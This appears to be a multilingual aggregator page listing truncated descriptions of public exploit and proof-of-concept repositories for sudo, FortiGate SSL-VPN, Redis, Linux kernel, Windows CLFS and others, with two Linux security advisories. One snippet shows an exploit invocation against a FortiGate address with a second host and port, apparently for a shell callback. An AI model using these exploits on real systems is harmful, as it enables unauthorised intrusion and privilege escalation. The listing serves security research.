CVE-2021-3156

CVE-2021-3156 - Desbordamiento de búfer basado en montón en Sudo ⚠️ Solo para fines educativos y de investigación de seguridad autorizados Autores originales del exploit Muy agradecidos al autor original del PoC Qualys Research Team Descripción Sudo anterior a 1.9.5p2 contiene un error de desfase...

CVE-2024-1112

CVE-2024-1112 这是我为"ResHacker.exe"堆溢出漏洞编写的一个PoC。 使用方法 执行CVE-2024-1112.py，复制生成的payload.txt中的所有字符串，然后将其作为参数用于打开ResHacker.exe root@kitploit: ResHacker.exe $string 注意：不要忘记找到正确的地址 - 你可以在我的博客上找到完整的分析报告...

CVE-2021-3156-Exp

CVE-2021-3156-Exp CVE-2021-3156의 익스플로잇입니다. 하룻밤의 연구 끝에, 드디어 해냈습니다! 감사 https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt...

CVE-2026-31431

CVE-2026-31431 — From a NULL Pointer to Root: Exploiting AFALG AEAD in the Linux Kernel Bug class: Null pointer dereference → heap OOB write → credential overwrite Affected subsystem: net/alg/afalg.c Impact: Local Privilege Escalation unprivileged user → root Affected kernels: Linux 4.4 – 4.9...

CVE-2025-55763

CVE-2025-55763 Débordement de tampon dans l'analyseur d'URI de CivetWeb 1.16 dernière version à ce jour. Code vulnérable Le crash se produit ici dans src/civetweb.c lors du dernier strcat marqué. Correctif Voir la pull request. PoC Le PoC plante le serveur en effectuant un débordement de tas, mai...

CVE-2026-23479

CVE-2026-23479 — Colección de PoC de RCE mediante Use-After-Free en Redis Espejo de distribución de HackSpeak. Este repositorio integra tres PoC/herramientas de detección públicos , con el código idéntico al de cada upstream. ⚠️ Contiene código de explotación real y herramientas de detección ; sol...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit 带有 ROP 链的 FortiGate SSL‑VPN CVE‑2023‑27997 漏洞利用 PoC 脚本 目录 说明 受影响版本 安装 用法 示例输出 技术细节 警告 参考资料 说明 fgt-cve-2023-27997-exploit.py 是为 Fortinet FortiGate 设备中发现的严重安全漏洞 CVE‑2023‑27997 编写的一个 概念验证 PoC 漏洞利用脚本。 该漏洞源于 FortiOS SSL‑VPN 界面中一个无需身份验证即可实现远程代码执行 RCE 的基于堆的缓冲区溢出 错误。 脚本运行步骤： 1...

CVE-2026-56848

CVE-2026-56848 Descripción de NVD Una falla en el manejo de HTTP/2 en Node.js permite que se llame a nghttp2sessionmemsend de forma reentrante mientras nghttp2sessionmemrecv está en ejecución, lo que resulta en un heap-use-after-free. Esta vulnerabilidad afecta a Node.js 26.x, 24.x y 22.x. Nota:...

nodejs:24 security update

An update is available for module.nodejs, nodejs, module.nodejs-packaging, nodejs-packaging, nodejs-nodemon, module.nodejs-nodemon. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

gimp:2.8 security update

An update is available for module.gimp, pygtk2, module.pygobject2, module.python2-pycairo, gimp, pygobject2, module.pygtk2, python2-pycairo. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...

python-haystack

python-haystack 内存取证 |travis| |coverage| |landscape| |pypi| |docs| 快速开始 docs/ 文件夹中的 快速使用指南 。 docs/ 文件夹中的 Haystack-reverse CLI 。 更多文档 介绍 python-haystack 是一个堆分析框架，专注于搜索和逆向已分配内存中的 C 结构体。 第一个功能/API 是 SEARCH 函数。 它可以在进程内存转储或活动进程内存中搜索已知的记录类型。 第二个功能/API 是扩展 python-haystack-reverse 中的 REVERSE 函数。...

CVE-2022-28113

Fantec MWiD25-DS CVE-2022-28113 分析报告 作者：@code-byter ========================== 这是一篇关于 Fantec MWiD25-DS 旅行路由器（固件版本：2.000.030）漏洞利用的分析报告。该漏洞允许任何未经授权的用户以 root 身份执行任意命令。备份功能（upload.csp）中的漏洞允许任何用户写入文件，从而无需有效会话 Cookie 即可重置用户密码。利用这些新凭据，攻击者可以登录 Web 界面并利用缓冲区溢出漏洞。设置 WiFi 客户端功能的 SSID...

Bad_Hoist-WriteUp

Sleirsgoevy 版本的 BadHoist（技术分析）| CVE-2018-4386 !Note 关于 PS4 的背景信息： PlayStation 4 主机采用定制的 AMD x86-64 CPU（8 核心），其 Orbis OS 基于 FreeBSD（v9.0），并包含部分 NetBSD 代码。 它还集成了大量开源软件，例如 Mono VM 和 WebKit。 PS4 互联网浏览器： PS4 使用的互联网浏览器实际上基于开源 WebKit 项目构建。 WebKit 是一个开源布局引擎，为 iOS、Wii U、3DS、PS Vita 和 PS4 的浏览器渲染网页。...

flow_divert-heap-overflow

flowdivert-heap-overflow flowdivert-heap-overflow 是针对 CVE-2016-1827 的概念验证漏洞利用，该漏洞已在 OS X El Capitan 10.11.5 和 iOS 9.3.2 中修复。 该漏洞是函数 flowdiverthandleappmapcreate 中针对用户空间提供的不可信长度进行的一系列未检查算术运算。利用该漏洞需要 root 权限。 此概念验证会在 OS X Yosemite 10.10.5 上触发内核恐慌。在 El Capitan 中，长度字段已从 64 位改为 32...

CVE-2022-37969

CVE-2022-37969 Windows 本地权限提升 PoC 作者：Ricardo Narvaja 和 Daniel Kazimirow Solid 仅用于演示目的。完整的漏洞利用适用于易受攻击的 Windows 11 21H2 系统。 基于先前 Zscaler 发布的信息 的功能性 PoC。 查看相关文章 理解 CVE-2022-37969 Windows 通用日志文件系统驱动程序本地权限提升。 用法 理解 CVE-2022-37969 Windows 通用日志文件系统驱动程序本地权限提升。 利用过程详解： 创建初始的 BLF 日志文件 创建多个随机的 BLF 日志文件...

CVE-2019-6207

CVE-2019-6207 getdirentriesattr kernel heap inofo leak 该漏洞可在沙盒中触发，影响 macOS=10.14.4 && ios 12.2 我将很快更新关于此漏洞的更多细节。...

CVE-2023-27997

CVE-2023-27997 이 코드로 FortiGate VM64 7.2.0을 익스플로잇할 수 있습니다. 참고: 코드가 매우 어리석은 방식으로 작성되었습니다. 개념 증명 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading +...

CVE-2014-4140

Algunas notas aproximadas 0:007 u MSHTML!CHtmRootParseCtx::AddText+0x104: 6efff0a5 8b8e88000000 mov ecx,dword ptr esi+88h 6efff0ab 898d70ffffff mov dword ptr ebp-90h,ecx 6efff0b1 8945ac mov dword ptr ebp-54h,eax 6efff0b4 8b5118 mov edx,dword ptr ecx+18h 6efff0b7 8bca mov ecx,edx 6efff0b9 83e103 a...

cve-2019-6250-lab

CVE-2019-6250 — libzmq pre-auth RCE lab End-to-end working RCE chain + reproducible lab for CVE-2019-6250 , the pre-auth heap-buffer-overflow in libzmq's v2decodert::sizeready. A uint64t pointer-arithmetic overflow lets an unauthenticated peer overwrite the adjacent msgt::contentt::ffn function...

heap-viewer

HeapViewer 一个用于检查堆的 IDA Pro 插件，专注于漏洞利用开发。 目前支持 glibc malloc 实现 ptmalloc2。 2018年Hex-Rays插件大赛第三名 需求 IDA Pro = 7.0 测试环境 glibc 2.23 = 2.26 链表的 GraphView bins/tcache 结构体视图 mallocstate / mallocpar / tcacheperthread 实用工具： Unlink 合并信息 可释放/合并信息 假 fastbin 查找器 House of force 辅助 有用的 libc 偏移量 计算块大小 request2si...